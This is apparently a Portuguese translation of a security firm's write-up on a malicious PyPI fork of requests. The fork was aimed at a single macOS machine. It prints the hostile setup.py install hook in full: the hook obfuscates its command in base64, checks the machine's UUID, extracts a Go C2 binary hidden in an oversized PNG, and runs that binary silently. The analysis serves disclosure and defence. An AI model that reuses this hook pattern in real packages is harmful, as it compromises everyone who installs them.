Binário Go malicioso entregue via esteganografia em PyPI

Em 10 de maio de 2024, a plataforma automatizada de detecção de riscos da Phylum nos alertou sobre uma publicação suspeita no PyPI.

O pacote foi chamado requests-darwin-litee parecia ser uma bifurcação do sempre popular requestspacote com algumas diferenças importantes, mais notavelmente a inclusão de um binário Go malicioso compactado em uma versão grande do requestslogotipo PNG da barra lateral real, que o autor pretendia ser.

O ataque

Como mencionado anteriormente, este pacote é um fork requestsque usa um setuptoolsatributo chamado

cmdclassque permite ao autor personalizar diversas ações durante a instalação do pacote. No caso de requestscmdclassé empregado para personalizar como os testes são executados quando executados especificamente usando comandos de configuração. Eles implementaram testes paralelizados para otimizar o desempenho com base no número de núcleos de CPU disponíveis na máquina, aumentando a eficiência dos testes durante o desenvolvimento. Vamos dar uma olhada rápida em uma parte do arquivo requestslegítimo setup.py:

# --- CLIPPED ---

class PyTest(TestCommand):
    user_options = [("pytest-args=", "a", "Arguments to pass into py.test")]

    def initialize_options(self):
        TestCommand.initialize_options(self)
        try:
            from multiprocessing import cpu_count

            self.pytest_args = ["-n", str(cpu_count()), "--boxed"]
        except (ImportError, NotImplementedError):
            self.pytest_args = ["-n", "1", "--boxed"]

    def finalize_options(self):
        TestCommand.finalize_options(self)
        self.test_args = []
        self.test_suite = True

    def run_tests(self):
        import pytest

        errno = pytest.main(self.pytest_args)
        sys.exit(errno)

setup(
    # --- CLIPPED ---
    cmdclass={"test": PyTest},
    tests_require=test_requirements,
    extras_require={
        "security": [],
        "socks": ["PySocks>=1.5.6, !=1.5.7"],
        "use_chardet_on_py3": ["chardet>=3.0.2,<6"],
    },
    project_urls={
        "Documentation": "<https://requests.readthedocs.io>",
        "Source": "<https://github.com/psf/requests>",
    },
)

Trecho do arquivo requestsdo pacote legítimosetup.py

Podemos ver claramente aqui um uso legítimo para o cmdclassatributo. Agora vamos dar uma olhada nas mesmas partes do arquivo requests-darwin-litedo pacote malicioso setup.py:

# --- CLIPPED ---
class PyInstall(install):
    def run(self):
        if sys.platform != "darwin":
            return 
        
        c = b64decode("aW9yZWcgLWQyIC1jIElPUGxhdGZvcm1FeHBlcnREZXZpY2U=").decode()
        raw = subprocess.run(c.split(), stdout=subprocess.PIPE).stdout.decode()
        k = b64decode("SU9QbGF0Zm9ybVVVSUQ=").decode()
        uuid = raw[raw.find(k)+19:raw.find(k)+55]
        
        if uuid == "08383A8F-DA4B-5783-A262-4DDC93169C52":
            dest = "docs/_static/requests-sidebar-large.png"
            dest_dir = "/tmp/go-build333212398/exe/"
            with open(dest, "rb") as fd:
                content = fd.read()

            offset = 306086
            os.makedirs(dest_dir, exist_ok=True)
            with open(dest_dir + "output", "wb") as fd:
                fd.write(content[offset:])

            os.chmod(dest_dir + "output", 0o755)
            subprocess.Popen([dest_dir + "output"], close_fds=True, stderr=subprocess.DEVNULL, stdout=subprocess.DEVNULL)
            install.run(self)
setup(
    # --- CLIPPED ---
    cmdclass={
        "install" : PyInstall,
        "test": PyTest,
        },
    tests_require=test_requirements,
    extras_require={
        "security": [],
        "socks": ["PySocks>=1.5.6, !=1.5.7"],
        "use_chardet_on_py3": ["chardet>=3.0.2,<6"],
    },
    project_urls={
        "Documentation": "<https://requests.readthedocs.io>",
        "Source": "<https://github.com/psf/requests>",
    },
)

O setup.pyarquivo do requests-darwin-litepacote malicioso

Nessa bifurcação maliciosa, o invasor inseriu outro item no cmdclassdicionário chamado PyInstall, que foi executado durante a instalação do pacote. Olhando, PyInstallpodemos ver que eles visam especificamente darwinsistemas , ou macOS. Se este pacote estiver instalado em um sistema macOS, ele decodifica uma string codificada em base64 e a executa como um comando. Essa decodificação base64 ioreg -d2 -c IOPlatformExpertDeviceé então usada para coletar o UUID do sistema. Em seguida, ele executa uma verificação em um UUID específico. Se esta verificação falhar, nada acontece. Em outras palavras, eles procuram uma máquina muito específica para a qual já conhecem o UUID.

O fato de estarem atrás de um UUID específico é interessante e pode ter várias implicações. A primeira e mais óbvia é que este é um ataque altamente direcionado e os invasores já pré-determinaram o sistema alvo e obtiveram seu UUID de alguma outra forma. Por outro lado, podem ser os invasores que estão apenas realizando testes operacionais em sua própria infraestrutura, testando os mecanismos de implantação de malware. Independentemente disso, se for a máquina que procuram, eles leem os dados do arquivo "docs/_static/requests-sidebar-large.png".

Isso é interessante porque o requestspacote legítimo vem com um arquivo semelhante chamado docs/_static/requests-sidebar.pngque pesa cerca de 300kB e é o logotipo real do pacote:

O requestslogotipo do projeto

Olhando para a versão “grande” que o invasor enviou com o pacote, vemos que ela tem cerca de 17 MB! “Grande” é um eufemismo para um PNG e altamente suspeito neste contexto. Podemos executá-lo filee ver se ele é reconhecido como um arquivo PNG:

$ file requests-sidebar-large.png
requests-sidebar-large.png: PNG image data, 1020 x 1308, 8-bit/color RGBA, non-interlaced

No entanto, dado que temos o código-fonte, podemos ver que o invasor lê esse arquivo como dados binários e depois extrai uma parte dele de um deslocamento. Tecnicamente, isto é considerado uma forma de esteganografia. Eles estão ocultando dados – ou, neste caso, simplesmente anexando dados – ao final de um arquivo PNG. Esta forma de esteganografia está longe de ser nova, mas seu sucesso reside na sua simplicidade e no fato de que os dados extras não interferem na renderização normal da imagem. Assim, a imagem parece normal tanto para o software quanto para o usuário final, embora carregue dados adicionais. Depois de extrair os dados ocultos, eles gravam o pedaço em um arquivo local, executam chmodpara torná-lo executável e, finalmente, executam-no silenciosamente com subprocess.Popen.

Conforme mencionado anteriormente, os dados binários ocultos neste PNG são binários Go. Ainda não fizemos engenharia reversa, mas vários fornecedores do VirusTotal o identificam como OSX/Silver . Silver parece ser uma estrutura C2 emergente que compartilha semelhanças com o Cobalt Strike e é preferida por invasores de todas as capacidades por sua baixa barreira de entrada e menor perfil de detecção devido ao seu status menos conhecido.

É importante notar que as duas primeiras versões publicadas no PyPI (2.27.1 e 2.27.2) tinham o gancho de instalação malicioso com o PNG malicioso compactado em binário. Essas duas versões parecem ter sido retiradas do PyPI pelos autores. As duas segundas versões publicadas (2.28.0 e 2.28.1) tinham o gancho de instalação presente, mas removeram os bits maliciosos dele:

class PyInstall(install):
    def run(self):
        install.run(self)

O gancho de instalação modificado das requests-darwin-liteversões posteriores do

A versão 2.28.0 vem com o PNG compactado em binário, embora não pareça ter sido executado na instalação. O autor não retirou isso do PyPI. Finalmente, a versão 2.28.1, a última versão publicada, não continha nem o gancho de instalação malicioso nem o PNG compactado em binário e parecia benigna.

Após a descoberta, relatamos isso imediatamente ao PyPI, e todo o pacote, incluindo todas as versões, foi removido.

Conclusão

Só podemos especular por que o invasor puxou as versões com o gancho de instalação malicioso, mas decidiu deixar uma versão com o PNG malicioso compactado em binário e outra versão benigna. Talvez eles tenham deixado essas versões publicadas apenas o tempo suficiente para infectar seu alvo e depois colocaram o pacote de volta em um estado benigno. Talvez eles tenham deixado a versão com o binário malicioso porque pretendiam depender dele de outro pacote em algum outro momento, ou talvez até mesmo retirá-lo de outro software no futuro. De qualquer forma, temos mais um exemplo de invasores que recorrem a técnicas mais evasivas e complexas para distribuir malware em ecossistemas de código aberto.